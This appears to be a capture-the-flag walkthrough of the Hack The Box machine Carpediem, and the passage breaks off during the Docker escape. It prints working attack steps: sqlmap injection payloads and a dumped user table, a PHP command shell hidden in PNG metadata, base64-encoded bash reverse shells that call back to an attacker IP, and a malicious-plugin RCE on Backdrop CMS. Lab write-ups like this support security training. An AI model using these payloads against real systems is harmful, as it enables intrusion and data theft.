This is a hard box with many steps, but each step is relatively simple.
Nmap finds SSH and an Nginx web server on port 80. The web server is just a countdown page so we scan for virtual hosts and find portal.carpediem.htb, which is a motorcycle store. We find LFI and SQLi attacks, but neither give us any useful information. There is also an admin page at /admin. We create an account and notice a strange parameter in the POST request that is sent when we edit our profile. Changing that parameter and then going to /admin gives us access to the admin portal. We can upload a profile picture, so we create a legitimate PNG image and then embed PHP code in the metadata of the image. This gives a reverse shell into a Docker container.
Inside the Docker container's web server files, we find credentials for the database that we could access before through SQLi. We also find an api key and a username for a service called Trudesk at trudesk.carpediem.htb. Using the API and searching for vulnerabilities reveals nothing yet. Using LinPEAS, we find some other devices on the network, which are probably other Docker containers. So, we upload a static nmap binary and scan the local Docker network. Using chisel, we forward the port for each service to determine what they are. We find a Backdrop CMS instance and a MongoDB server. The MongoDB server is unprotected and contains the Trudesk database. So, we look at the users collection and grab a different API key.
Using that API key we can view the tickets in Trudesk, which give us instructions and credentials for Zoiper, a softphone to make VoIP calls. We sign in as a user and hear their voicemail, which contains their SSH password. On the box, we get the user.txt flag. LinPEAS alerts us that /usr/sbin/tcpdump can sniff all network traffic due to the capabilities it has. We capture traffic on the docker0 network and find an SSL key at /etc/ssl/certs/backdrop.carpediem.htb.key. We decrypt the data in Wireshark with the SSL key, revealing a POST request with a username and password for the Backdrop CMS we found earlier.
We port forward and sign into Backdrop CMS. We are able to upload a malicious plugin and gain code execution, which gives us a reverse shell. We are in yet another Docker container as the www-data user. We notice that there is a script that runs as root every 10 seconds to make sure that the CMS is still running. The script will load the index page so we replace index.php with a reverse shell and get root on the container. We realize that we are running in a privileged container, so we abuse linux cgroups to give /bin/bash the SUID bit on the host. Then, we simply run bash -p on the host and get the root.txt flag.
Enumeration
Nmap
First, let's scan for open ports using nmap. We can quickly scan for open ports and store them in a variable: ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.167 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//). Then, we can scan those specific ports in depth by running nmap's built-in scripts: nmap -p$ports -sC -sV 10.10.11.167.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 96:21:76:f7:2d:c5:f0:4e:e0:a8:df:b4:d9:5e:45:26 (RSA)
| 256 b1:6d:e3:fa:da:10:b9:7b:9e:57:53:5c:5b:b7:60:06 (ECDSA)
|_ 256 6a:16:96:d8:05:29:d5:90:bf:6b:2a:09:32:dc:36:4f (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Comming Soon
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nginx (Port 80)
We see a reference to Carpediem.htb, so let's add that domain to /etc/hosts: echo "10.10.11.167 carpediem.htb" | sudo tee -a /etc/hosts. It brings us to the same website.
Bruteforcing for directories on carpediem.htb port 80 via ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://carpediem.htb/FUZZ:
Now that we know the domain name, we can scan for other virtual hosts. Let's scan for subdomains with ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://carpediem.htb/ -H "Host: FUZZ.carpediem.htb" -fs 2875:
Let's add the newly discovered portal virtual host to /etc/hosts: echo "10.10.11.167 portal.carpediem.htb" | sudo tee -a /etc/hosts. It brings us to the same website.
portal.carpediem.htb
Let's scan for directories with ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://portal.carpediem.htb/FUZZ:
There is an uploads directory that we cannot access (Forbidden). The admin page redirects to http://portal.carpediem.htb/admin/login.php and has a login form:
Trying a few common logins (admin:admin, etc.) doesn't work. We look at the login request in Firefox developer tools and run sqlmap with sqlmap -u http://portal.carpediem.htb/classes/Login.php\?f\=login --data username=a\&password=a --random-agent --batch --level 3 --risk 2, which finds no injections. Navigating directly to http://portal.carpediem.htb/classes/Login.php just says "Access Denied," so it's probably not worth bruteforcing files in the classes/ directory.
The main portal.carpediem.htb site has a few features: it lists motorcycles we can rent, we can search for different bikes, and we can login to or create an account. In order to book a bike, you need to be logged in.
We can try some LFI on the p (page) parameter with ffuf -ic -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u http://portal.carpediem.htb/\?p\=FUZZ -fs 17882. For instance, going to http://portal.carpediem.htb/?p=../../../../../../../../../../etc/passwd%00 shows this:
Eventually (after finding the right number of ../), we can figure out that http://portal.carpediem.htb/?p=../../../../var/www/html/portal/about is the same thing as http://portal.carpediem.htb/?p=about.
Additionally, we try SQL injection on the view_bike page: sqlmap -u http://portal.carpediem.htb/\?p\=view_bike\&id\=98f13708210194c475687be6106a3b84 --random-agent --batch:
[15:08:40] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9b3) Gecko/2008020514 Opera 9.5' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[15:08:41] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=c214041ad46...15904fad1b'). Do you want to use those [Y/n] Y
[15:08:41] [INFO] checking if the target is protected by some kind of WAF/IPS
[15:08:41] [INFO] testing if the target URL content is stable
[15:08:41] [INFO] target URL content is stable
[15:08:41] [INFO] testing if GET parameter 'p' is dynamic
[15:08:42] [INFO] GET parameter 'p' appears to be dynamic
[15:08:42] [WARNING] heuristic (basic) test shows that GET parameter 'p' might not be injectable
[15:08:42] [INFO] testing for SQL injection on GET parameter 'p'
[15:08:42] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:08:43] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[15:08:43] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[15:08:43] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:08:44] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[15:08:44] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[15:08:44] [INFO] testing 'Generic inline queries'
[15:08:44] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[15:08:44] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[15:08:44] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[15:08:45] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[15:08:45] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[15:08:45] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[15:08:45] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
[15:08:45] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[15:08:46] [WARNING] GET parameter 'p' does not seem to be injectable
[15:08:46] [INFO] testing if GET parameter 'id' is dynamic
[15:08:46] [INFO] GET parameter 'id' appears to be dynamic
[15:08:46] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[15:08:46] [INFO] testing for SQL injection on GET parameter 'id'
[15:08:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:08:46] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="V4")
[15:08:47] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[15:08:47] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[15:08:47] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[15:08:47] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[15:08:47] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[15:08:47] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[15:08:47] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[15:08:47] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[15:08:48] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[15:08:48] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[15:08:48] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[15:08:48] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[15:08:48] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[15:08:48] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[15:08:48] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[15:08:48] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[15:08:48] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[15:08:48] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[15:08:48] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[15:08:48] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[15:08:48] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[15:08:48] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'
[15:08:48] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[15:08:48] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[15:08:48] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[15:08:48] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[15:08:48] [INFO] testing 'Generic inline queries'
[15:08:48] [INFO] testing 'MySQL inline queries'
[15:08:48] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[15:08:48] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[15:08:48] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[15:08:48] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[15:08:48] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[15:08:48] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[15:08:48] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[15:08:59] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[15:08:59] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:08:59] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[15:08:59] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[15:08:59] [INFO] target URL appears to have 12 columns in query
[15:09:00] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 166 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: p=view_bike&id=98f13708210194c475687be6106a3b84' AND 8690=8690 AND 'rPUy'='rPUy
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: p=view_bike&id=98f13708210194c475687be6106a3b84' AND (SELECT 2500 FROM (SELECT(SLEEP(5)))uxmH) AND 'CRze'='CRze
Type: UNION query
Title: Generic UNION query (NULL) - 12 columns
Payload: p=view_bike&id=-9503' UNION ALL SELECT CONCAT(0x716b6a7671,0x63506c78724a457a424f5369625074486a4b45515a7864706576726a4442506e6e4e6d6977544246,0x716b7a7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[15:09:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP, Nginx 1.18.0, PHP 7.4.25
back-end DBMS: MySQL >= 5.0.12
We append --tables to the sqlmap command and find this:
We can them dump the users table with sqlmap -u http://portal.carpediem.htb/\?p\=view_bike\&id\=98f13708210194c475687be6106a3b84 --random-agent --batch -D portal -T users --dump:
[15:11:53] [INFO] fetching columns for table 'users' in database 'portal'
[15:11:53] [INFO] fetching entries for table 'users' in database 'portal'
[15:11:53] [INFO] recognized possible password hashes in columns 'last_login, lastname, login_type'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[15:11:53] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[15:11:53] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[15:11:53] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[15:11:53] [INFO] starting 4 processes
[15:11:55] [INFO] cracked password 'amy' for hash '7771fbb20af6ef10827c593daa3aff7b'
[15:11:58] [INFO] cracked password 'test' for hash '098f6bcd4621d373cade4e832627b4f6'
[15:11:59] [INFO] cracked password 'test123' for hash 'cc03e747a6afbbcbf8be7668acfebee5'
Database: portal
Table: users
[5 entries]
+-------+-----------------------------------------+--------+--------------+------------------------+--------------------------------------------+----------+----------+-----------+---------------------+-----------------------------------------+-----------------------------------------+-------------------------------+
| id | avatar | gender | address | contact | lastname | password | username | firstname | date_added | last_login | login_type | date_updated |
+-------+-----------------------------------------+--------+--------------+------------------------+--------------------------------------------+----------+----------+-----------+---------------------+-----------------------------------------+-----------------------------------------+-------------------------------+
| 1 | uploads/1635793020_HONDA_XADV.png | Male | <blank> | jhammond@carpediem.htb | 1 | admin | <blank> | Jeremy | 2021-01-20 14:02:37 | Hammond | b723e511b084ab84b44235d82da572f3 | 2022-04-01 23:34:50 |
| 25 | uploads/1659195060_Screenshot (222).png | Male | test3 | 34234324234 | 1 | test4 | <blank> | test2 | 2022-07-29 17:26:02 | test2 | 098f6bcd4621d373cade4e832627b4f6 (test) | 2022-07-30 15:31:57 |
| 1 | 37532984 | test3 | test4 | 2022-07-29 19:25:37 | test5 | <blank> | <blank> | 26 | test2 | 098f6bcd4621d373cade4e832627b4f6 (test) | <blank> | Male |
| hamdy | 12345678 | 27 | TherernThere | 2022-07-30 14:55:07 | cc03e747a6afbbcbf8be7668acfebee5 (test123) | <blank> | <blank> | Male | 2022-07-30 15:25:01 | 2 | <script>confirm(111)</script> | <script>confirm(111)</script> |
| amy | amy | 28 | amy | 2022-07-30 18:32:15 | 7771fbb20af6ef10827c593daa3aff7b (amy) | <blank> | <blank> | Male | 2022-07-30 18:43:51 | 1 | amy | amy |
+-------+-----------------------------------------+--------+--------------+------------------------+--------------------------------------------+----------+----------+-----------+---------------------+-----------------------------------------+-----------------------------------------+-------------------------------+
The table above is the formatted correctly, but b723e511b084ab84b44235d82da572f3 is probably the admin's password hash. sqlmap's built-in password hash cracking can't crack it and neither can CrackStation.
Let's create an account:
We can now book a bike and it will show up on our account page at http://portal.carpediem.htb/?p=my_account:
Clicking on "Manage Account" in the top right let's us edit our registration details.
Clicking "Update" logs this request in burpsuite:
There is a strange login_type=2 parameter that was not part of the form. Let's set that to 1 instead and maybe we can elevate our privileges to an admin. After forwarding the request in burpsuite, we go to http://portal.carpediem.htb/admin and it loads successfully!
There are a few places we can upload files. However, The "Quarterly Report Upload" seems like a good spot since it says "NOTE: Upload functions still in development!" However, there doesn't appear to be any functionality to actually upload files on that page.
Foothold
Reverse Shell
If we go to our name in the top right and click "My Account" (http://portal.carpediem.htb/admin/?page=user), we get the ability to upload a profile picture:
Side note: Around this time I got logged out. Our login amy:amy doesn't work on http://portal.carpediem.htb/admin/login.php even though we are an admin. We still need to sign in on http://portal.carpediem.htb/ and then go to the admin page.
Generate a random PNG with mx=256;my=256;head -c "$((3*mx*my))" /dev/urandom | convert -depth 8 -size "${mx}x${my}" RGB:- random.png (command from this StackExchange answer). Then, use exiftool to embed some PHP code in the comment field: exiftool -Comment="<?php echo 'Command:'; if(\$_POST){system(\$_POST['cmd']);} __halt_compiler();" random.png (based on command from HackTricks). We can rename our image to random.png.php so the server will be able to execute our php code.
Uploading our new image works successfully! Now, just right click and open the image in a new tab. The URL will be something like http://portal.carpediem.htb/uploads/1659209820_random.png.php. Now, just use curl to post commands to the cmd parameter:
Now, let's get a reverse shell. Our reverse shell will be a standard bash reverse shell: bash -i >& /dev/tcp/10.10.14.98/61991 0>&1. Let's encode that in base64 by running echo -n "bash -i >& /dev/tcp/10.10.14.98/61991 0>&1" | base64, which gives us YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45OC82MTk5MSAwPiYx. So, our payload should be echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45OC82MTk5MSAwPiYx | base64 -d | bash. Let's url encode that to echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC45OC82MTk5MSAwPiYx%20%7C%20base64%20-d%20%7C%20bash. Start a listener with pwncat-cs -lp 61991 and then run the reverse shell with curl -X POST --data "cmd=echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC45OC82MTk5MSAwPiYx%20%7C%20base64%20-d%20%7C%20bash" http://portal.carpediem.htb/uploads/1659210360_random.png.php --output -.
Information Gathering (Foothold)
We are in a docker container due to the hostname and the presence of .dockerenv at /.
The Docker Breakout / Privilege Escalation page on HackTricks mentions a great tool called CDK for breaking out of Docker containers. We download the program from GitHub, upload it using pwntools by running upload Downloads/cdk_linux_amd64 in the local shell, and then run a full scan with ./cdk_linux_amd64 eva --full. This doesn't find anything useful.
We can look in the directory for the portal site and see if we find anything interesting.
We get a username, dev_oretnom, and another password hash, 5da283a2d990e8d8512cf967df5bc0d0, which CrackStation cannot crack. But, we do get credentials for the database: portaldb:J5tnqsXpyzkK4XNt. These probably are not helpful because we were already able to enumerate the database with sqlmap thanks to a SQL injection.
We can quickly scan the other files for passwords with grep -B 2 -A 2 -rni password --include "*.php":
We have a new virtual host. Let's add it to /etc/hosts: echo "10.10.11.167 trudesk.carpediem.htb" | sudo tee -a /etc/hosts. We get a login page that displays that we have version 1.1.11:
Trudesk "is an open-source help desk/ticketing solution." Searching for "trudesk 1.1.11 exploit" finds CVE-2022-2023 and the bug bounty report. However, this exploit seems to require us to have a non-privileged login, which we do not.
We have an API key so we can try searching for tickets according to the Trudesk API docs:
We also explore other elements of the Trudesk API but find nothing.
LinPEAS
Upload linPEAS and run with ./linpeas.sh -a 2>&1 | tee linpeas_report_docker.txt. Download the report with download linepeas_report.txt in the local terminal. You can open linpeas_report_docker.txt with less -R linpeas_report_docker.txt.
There is some sensitive information in the environment variables:
There is a MySQL server at 172.17.0.4:3306 with a root password of 3dQXeqjMHnq4kqDv. From /var/www/html/portal/initialize.php we saw that the site was connecting to the address mysql, which Docker resolves automatically if that is the name of a container. We can resolve it ourselves with getent hosts mysql:
172.17.0.4 mysql a5004fe641ca
So, mysql is 172.17.0.4. So, now we have two passwords to the database at 172.17.0.4:3306.
Since we have limited tools in the docker container, we need to forward this port to our attacker machine so we can work with it. This is made easy with chisel (helpful guide). Run ./chisel server -p 12350 --reverse on your attacker machine and then run ./chisel client 10.10.14.98:12350 R:3306:172.17.0.4:3306 on the target. You can upload chisel easily with pwncat by running upload tools/chisel in the local shell of pwncat.
We can then run sqlmap -d mysql://root:3dQXeqjMHnq4kqDv@localhost:3306/ --dbs to dump the list of databases:
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] portal
[*] sys
Sure enough, this is the same database we exploted with SQLi before. So, nothing new to see here.
Anyway, LinPEAS also finds some other devices on the network, which are probably other Docker containers:
Let's use nmap to scan these machines. I uploaded this standalone nmap binary (it's an old version, but it should be fine) to the machine:
$ ./nmap -p- 172.17.0.0/24
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2022-07-30 21:07 UTC
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.17.0.1
Host is up (0.00013s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap scan report for 172.17.0.2
Host is up (0.0010s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
443/tcp open https
Nmap scan report for 172.17.0.3
Host is up (0.00098s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
27017/tcp open unknown
Nmap scan report for mysql (172.17.0.4)
Host is up (0.00011s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
3306/tcp open mysql
33060/tcp open unknown
Nmap scan report for 3c371615b7aa (172.17.0.5)
Host is up (0.000052s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
80/tcp open http
Nmap scan report for 172.17.0.6
Host is up (0.00011s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
8118/tcp open unknown
Nmap done: 256 IP addresses (6 hosts up) scanned in 23.33 seconds
Forwarding 172.17.0.6:8118 with ./chisel client 10.10.14.98:12350 R:8118:172.17.0.6:8118 reveals that 172.17.0.6:8118 is Trudesk. We check the other http services the same way. 172.17.0.1:80 is the countdown website we saw initially, which makes sense since 172.17.0.1 is the host. 172.17.0.2:80 shows the "Apache2 Ubuntu Default Page." 172.17.0.2:443 appears to be an instance of Backdrop CMS:
Searching for "backdrop cms exploit" doesn't immediately find anything promising.
There is also FTP on 172.17.0.2, which is interesting. Forwarding that port and attempt anonymous login doesn't work.
MongoDB
Port 27017 is the default MongoDB port. We port forward 172.17.0.3:27017. Then, just run the mongo command on the attacker machine and it will automatically connect to the correct database since it is on localhost now.
(Note: This part is very similar to the Talkative machine. This machine and Talkative share an author.)
We can view the databases and switch to the trudesk database:
rs0:PRIMARY> show dbs
admin 0.000GB
config 0.000GB
local 0.000GB
trudesk 0.001GB
rs0:PRIMARY> use trudesk
switched to db trudesk
rs0:PRIMARY> db
trudesk
We can view the collections in this database with show collections:
accounts
counters
departments
groups
messages
notifications
priorities
role_order
roles
sessions
settings
tags
teams
templates
tickets
tickettypes
We now have some additional accessTokens that might be able to read some tickets via the Trudesk API (before we just had svc-portal-tickets's API key). I used Robert Frost's key like so:
<p>We have hired a new Network Engineer and need to get him set up with his credentials and phone before his start date next month.<br />Please create this account at your earliest convenience.<br /><br />Thank you.</p>
<p>Hey Adeanna,<br>I think Joey is out this week, but I can take care of this. Whats the last 4 digits of his employee ID so I can get his extension set up in the VoIP system?</p>
<p>Thanks Robert,<br>Last 4 of employee ID is 9650.</p>
<p>Thank you! He's all set up and ready to go. When he gets to the office on his first day just have him log into his phone first. I'll leave him a voicemail with his initial credentials for server access. His phone pin code will be 2022 and to get into voicemail he can dial *62</p>\n<p>Also...let him know that if he wants to use a desktop soft phone that we've been testing Zoiper with some of our end users.</p>\n<p>Changing the status of this ticket to pending until he's been set up and changes his initial credentials.</p>
Zoiper is a "free softphone to make VoIP calls through your PBX or favorite SIP provider." We can download the software by going to the download page, clicking "Linux," clicking "Free," and finally clicking "Debian package." Install it with sudo dpkg -i ~/Downloads/Zoiper5_5.5.13_x86_64.deb. Run it with zoiper5:
Click "Contine as Free User." Then sign in using the credentials we leaked from Trudesk, 9650:2022:
Use the IP address 10.10.11.167 (I tried carpediem.htb but that wouldn't work):
Zoiper will now test some configurations:
Finally, we can dial *62 to check the voicemail:
We are asked for a password. Just use 2022 from before. Press 1 for the new message. The message gives a welcome to Horace by Robert and lists a password character by character: AuRj4pxq9qPk.
The title of the ticket in Trudesk is "New employee on-boarding - Horace Flaccus" and usernames appear to be formatted as first initial last name (ex: Joey Pardella is jpardella) so the username is probably hflaccus.
Running ssh hflaccus@carpediem.htb and using the password we just got is successful! We can now cat ~/user.txt to get the user.txt flag.
Lateral Movment
Information Gathering (Lateral Movement)
We connect via pwncat instead to make uploading files easier: pwncat-cs hflaccus@carpediem.htb. Then, we run LinPEAS with ./linpeas.sh -a 2>&1 | tee linpeas_report_hflaccus.txt. Download the report with download linepeas_report.txt in the local terminal. You can open linpeas_report_hflaccus.txt with less -R linpeas_report_hflaccus.txt.
According to HackTricks, these are the "capabilities needed by tcpdump to allow any user to sniff packets."
Wireshark
So, we are going to sniff the packets on the docker container network docker0 (list network interfaces with ip a) and save them to a packet capture file: tcpdump -i docker0 -w hflaccus_carpediem_docker0.pcap. I let this run for just over a minute. We are told that 188 packets received by filter. We download the file: hflaccus_carpediem_docker0.pcap. Next, we open it for analysis in Wireshark
In LinPEAS we see the below output:
══╣ Possible private SSH keys were found!
/etc/ssl/certs/backdrop.carpediem.htb.key
That is the SSL certificate for backdrop.carpediem.htb, the one CMS site we saw earlier. We download the key: backdrop.carpediem.htb.key. Now, in Wireshark go to Edit > Preferences > Protocols > TLS > RSA keys list. Add the key to the list (don't worry about ip and other columns). Side note: I did this before in the WebNet0 challenge from PicoCTF 2019.
We see a POST request to /?q=user/login on backdrop.carpediem.htb. We right click > Follow > HTTP Stream and we see the following:
There we go! Now we have credentials for backdrop.carpediem.htb: jpardella:tGPN6AmJDZwYWdhY. We can forward the port back to our attacker machine by running ./chisel server -p 12350 --reverse on the attacker machine and then running ./chisel client 10.10.14.98:12350 R:443:172.17.0.2:443 on the target. Then, we can go to https://localhost/ and sign in:
Navigating to "Reports" and then "Status report" tells us the Backdrop CMS version is 1.21.4.
Searching for "backdrop cms 1.21.4 exploit" finds this page, wihch has patch notes for version 1.21.4 released on Mar 16, 2022 and states "Security release for Backdrop CMS. This release includes several bug fixes, and fixes 1 security vulnerability." It links to SA-BACKDROP-CORE-2022-003, which states "If a Backdrop site is configured to use CKEditor for rich-text editing, an attacker that can create or edit content (even without access to CKEditor themselves) may be able to exploit one or more Cross-Site Scripting (XSS) vulnerabilities. Victims may be people who later edit that content using CKEditor, including site admins with privileged access." So, this exploit is unlikely to be useful to us since it was patched in the version we have and it doesn't get code execution.
Searching for "backdrop rce" finds V1n1v131r4/CSRF-to-RCE-on-Backdrop-CMS, which states "The Backdrop CMS version 1.20 allows plugins to be added via ZIP files uploaded to the site. And because it does not have anti-CSRF protection, it is possible for an attacker to create a plugin with a file that allows execution of commands, host it and, using a forged page, make the site admin upload this plugin just by clicking on a malicious link." This is exactly what we want.
Now, according to the GitHub repo, we go to https://localhost/modules/reference/shell.php?cmd=ls and sure enough we have command execution: LICENSE.txt README.md reference.info reference.install reference.module shell.php tests views.
Now, let's get a reverse shell. Our reverse shell will be a standard bash reverse shell: bash -i >& /dev/tcp/10.10.14.98/51894 0>&1. Let's encode that in base64 by running echo -n "bash -i >& /dev/tcp/10.10.14.98/51894 0>&1" | base64, which gives us YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45OC81MTg5NCAwPiYx. So, our payload should be echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45OC81MTg5NCAwPiYx | base64 -d | bash. Let's url encode that to echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC45OC81MTg5NCAwPiYx%20%7C%20base64%20-d%20%7C%20bash. Start a listener with pwncat-cs -lp 51894 and then run the reverse shell by going to https://localhost/modules/reference/shell.php?cmd=echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC45OC81MTg5NCAwPiYx%20%7C%20base64%20-d%20%7C%20bash. Sure enough, we get a shell!
Docker Escape
We are in another Docker container as user www-data. So, let's upload CDK and run a full scan with ./cdk_linux_amd64 eva --full. This doesn't find anything useful. Next, we run pspy to look for processes that are ran frequently:
$ cat /opt/heartbeat.sh
#!/bin/bash
#Run a site availability check every 10 seconds via cron
checksum=($(/usr/bin/md5sum /var/www/html/backdrop/core/scripts/backdrop.sh))
if [[ $checksum != "70a121c0202a33567101e2330c069b34" ]]; then
exit
fi
status=$(php /var/www/html/backdrop/core/scripts/backdrop.sh --root /var/www/html/backdrop https://localhost)
grep "Welcome to backdrop.carpediem.htb!" "$status"
if [[ "$?" != 0 ]]; then
#something went wrong. restoring from backup.
cp /root/index.php /var/www/html/backdrop/index.php
fi
So, we cannot edit /var/www/html/backdrop/core/scripts/backdrop.sh because if the MD5 hash doesn't match then the script won't run. However, looking at the backdrop.sh script we notice that its final parameter has this description:
The URI to execute, i.e. http://default/foo/bar for executing
the path '/foo/bar' in your site 'default'. URI has to be
enclosed by quotation marks if there are ampersands in it
(f.e. index.php?q=node&foo=bar). Prefix 'http://' is required,
and the domain must exist in Backdrop's sites-directory.
If the given path and file exists it will be executed directly,
